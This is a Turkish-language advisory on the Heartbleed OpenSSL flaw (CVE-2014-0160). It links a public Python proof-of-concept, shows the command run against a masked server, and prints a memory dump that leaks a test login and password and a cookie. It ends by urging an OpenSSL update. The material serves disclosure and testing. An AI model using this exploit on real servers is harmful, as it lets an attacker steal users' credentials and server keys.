7 Nisan 2014
tarihinde OpenSSL in resmi internet sayfasından da onaylanan
(CVE-2014-0160) çok kritik bir zafiyet bulundu.
Zafiyet
açıklamasına göre, OpenSSL kütüphanesi üzerindeki HeartBeat
Prosedüründe yapılması unutulmuş bir sınır/boyut kontrolünden
kaynaklanmaktadır. Bu kontrol eksikliği ile sunucu veya istemci
üzerinde o anki 64k lık bellek alanına yetkisiz erişim
yapılabilmektedir. Kodlama hatasından kaynaklanan bu zafiyet ile
OpenSSL kütüphanesi kullanan servislerde saklanan/korunan bilginin
ifşası mümkün olmaktadır. Bu bilgiler arasında kullanıcı adı
ve parolaları, email adresleri gibi önemli kişisel bilgilerin
yanında OpenSSL'in getirdiği güvenlik katmanında kullanılan
sunucuya ait private keylerin de olması zafiyeti çok kritik hale
getirmektedir.
OpenSSL'i
nerede kullandığımıza gelince; internet üzerinde koşan ve
milyonlarca insanın kullandığı Google, Twitter, Facebook gibi
devlerin de içinde yeraldığı bir çok servis (web, email, instant
messaging (IM), VPN, DNS vb.) iletişim güvenliği için OpenSSL
kütüphanesi kullanmaktadır ve bu zafiyetten etkilenmişlerdir.
OpenSSL'in
zafiyete ilişkin yaptığı açıklama:
Kritik bir
zafiyet olması sebebi ile OpenSSL kullanan bütün servislerin test
edilmesi ve gerekli güncellemelerin yapılması gerekmektedir.
Jared Stafford tarafından
python ile hazırlanmış proof-of-concept kodu github üzerinde
https://gist.githubusercontent.com/takeshixx/10107280/raw/8052d8479ad0c6150464748d639b0f5e877e8c37/hb-test.py
adresinde mevcuttur.
Bu script yardımı ile
zafiyet olup olmadığı görüntülenebilir. Örnek olarak kimlik
bilgisi girişi yaptığımız bir sayfayı test edecek olursak,
https olarak açtığımız sayfaya giriş bilgilerimizi
yazalım.
Daha sonra giriş işlemi
sırasında, bir terminal ekranında sunucuya yönelik olarak POC
scriptini çalıştıralım.
[nsyilmaz@servailor
~]$ python sslTest.py XXX.YYY.ZZZ.TTT -p 8443
Connecting...
Sending
Client Hello...
Waiting
for Server Hello...
...
received message: type = 22, ver = 0302, length = 58
...
received message: type = 22, ver = 0302, length = 961
...
received message: type = 22, ver = 0302, length = 525
...
received message: type = 22, ver = 0302, length = 4
Sending
heartbeat request...
...
received message: type = 24, ver = 0302, length = 16384
Received
heartbeat response:
0000:
02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C [email protected][...r...
0010:
BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020:
9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030:
21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040:
84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050:
03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060:
9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070:
41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080:
12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090:
00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0:
32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0:
0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0:
04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0:
10 00 11 00 23 00 00 00 0F 00 01 01 4F 72 69 67 ....#.......Orig
00e0:
69 6E 3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E in: https://XXX.
00f0:
-- -- -- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 YYY.ZZZ.TTT:8443
0100:
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0110:
7A 69 6C 6C 61 2F 35 2E 30 20 28 4D 61 63 69 6E zilla/5.0 (Macin
0120:
74 6F 73 68 3B 20 49 6E 74 65 6C 20 4D 61 63 20 tosh; Intel Mac
0130:
4F 53 20 58 20 31 30 5F 37 5F 35 29 20 41 70 70 OS X 10_7_5) App
0140:
6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 leWebKit/537.36
0150:
28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 (KHTML, like Gec
0160:
6B 6F 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E ko) Chrome/34.0.
0170:
31 38 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F 1847.116 Safari/
0180:
35 33 37 2E 33 36 0D 0A 43 6F 6E 74 65 6E 74 2D 537.36..Content-
0190:
54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F Type: applicatio
01a0:
6E 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C n/x-www-form-url
01b0:
65 6E 63 6F 64 65 64 0D 0A 52 65 66 65 72 65 72 encoded..Referer
01c0:
3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E 31 33 : https://XXX.YY
01d0:
-- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 2F 6C Y.ZZZ.TTT:8443/l
01e0:
6F 67 69 6E 5F 75 70 2E 70 68 70 33 0D 0A 41 63 ogin_up.php3..Ac
01f0:
63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g
0200:
7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64 63 68 zip,deflate,sdch
0210:
0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 ..Accept-Languag
0220:
65 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E e: en-US,en;q=0.
0230:
38 2C 74 72 3B 71 3D 30 2E 36 0D 0A 43 6F 6F 6B 8,tr;q=0.6..Cook
0240:
69 65 3A 20 70 73 61 43 6F 6E 74 65 78 74 3D 64 ie: psaContext=d
0250:
61 73 68 62 6F 61 72 64 0D 0A 0D 0A 6C 6F 67 69 ashboard....logi
0260:
6E 5F 6E 61 6D 65 3D 74 65 73 74 2D 75 6E 61 6D n_name=test-unam
0270:
65 26 70 61 73 73 77 64 3D 74 65 73 74 2D 70 77 e&passwd=test-pw
0280:
64 26 6C 6F 63 61 6C 65 5F 69 64 3D 64 65 66 61 d&locale_id=defa
0290:
75 6C 74 26 73 65 6E 64 3D A2 B3 27 08 2C 3A EB ult&send=..'.,:.
02a0:
25 EA FE 37 D5 D2 06 27 51 FF D2 C7 0F BB 71 34 %..7...'Q.....q4
02b0:
64 22 2C 22 63 6C 61 73 73 22 3A 22 68 65 61 6C d","class":"heal
02c0:
74 68 5F 70 61 72 61 6D 65 74 65 72 22 7D 5D 2C th_parameter"}],
02d0:
22 73 65 72 76 65 72 5F 74 61 67 22 3A 31 7D 5D "server_tag":1}]
02e0:
7D 2C 22 73 65 72 76 65 72 22 3A 7B 22 67 65 74 },"server":{"get
02f0:
5F 69 6E 66 6F 22 3A 5B 7B 7D 5D 2C 22 67 65 74 _info":[{}],"get
0300:
5F 73 74 61 74 22 3A 5B 7B 7D 5D 7D 7D A4 43 2C _stat":[{}]}}.C,
0310:
1B F8 59 7B F5 46 CF 4D 66 88 58 76 BC 86 20 26 ..Y{.F.Mf.Xv.. &
0320:
4D 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E M...............
0330:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0340:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0350:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0360:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
Örnekten de
anlaşılacağı gibi zafiyet mevcut ise, https olarak
açtığımız sayfaya girdiğimiz kimlik bilgileri uzaktan
çalıştırdığımız script yardımı ile sunucu belleğinden
alınabilmektedir.
Zafiyetten
etkilenmemek için OpenSSL mutlaka güncellenmelidir.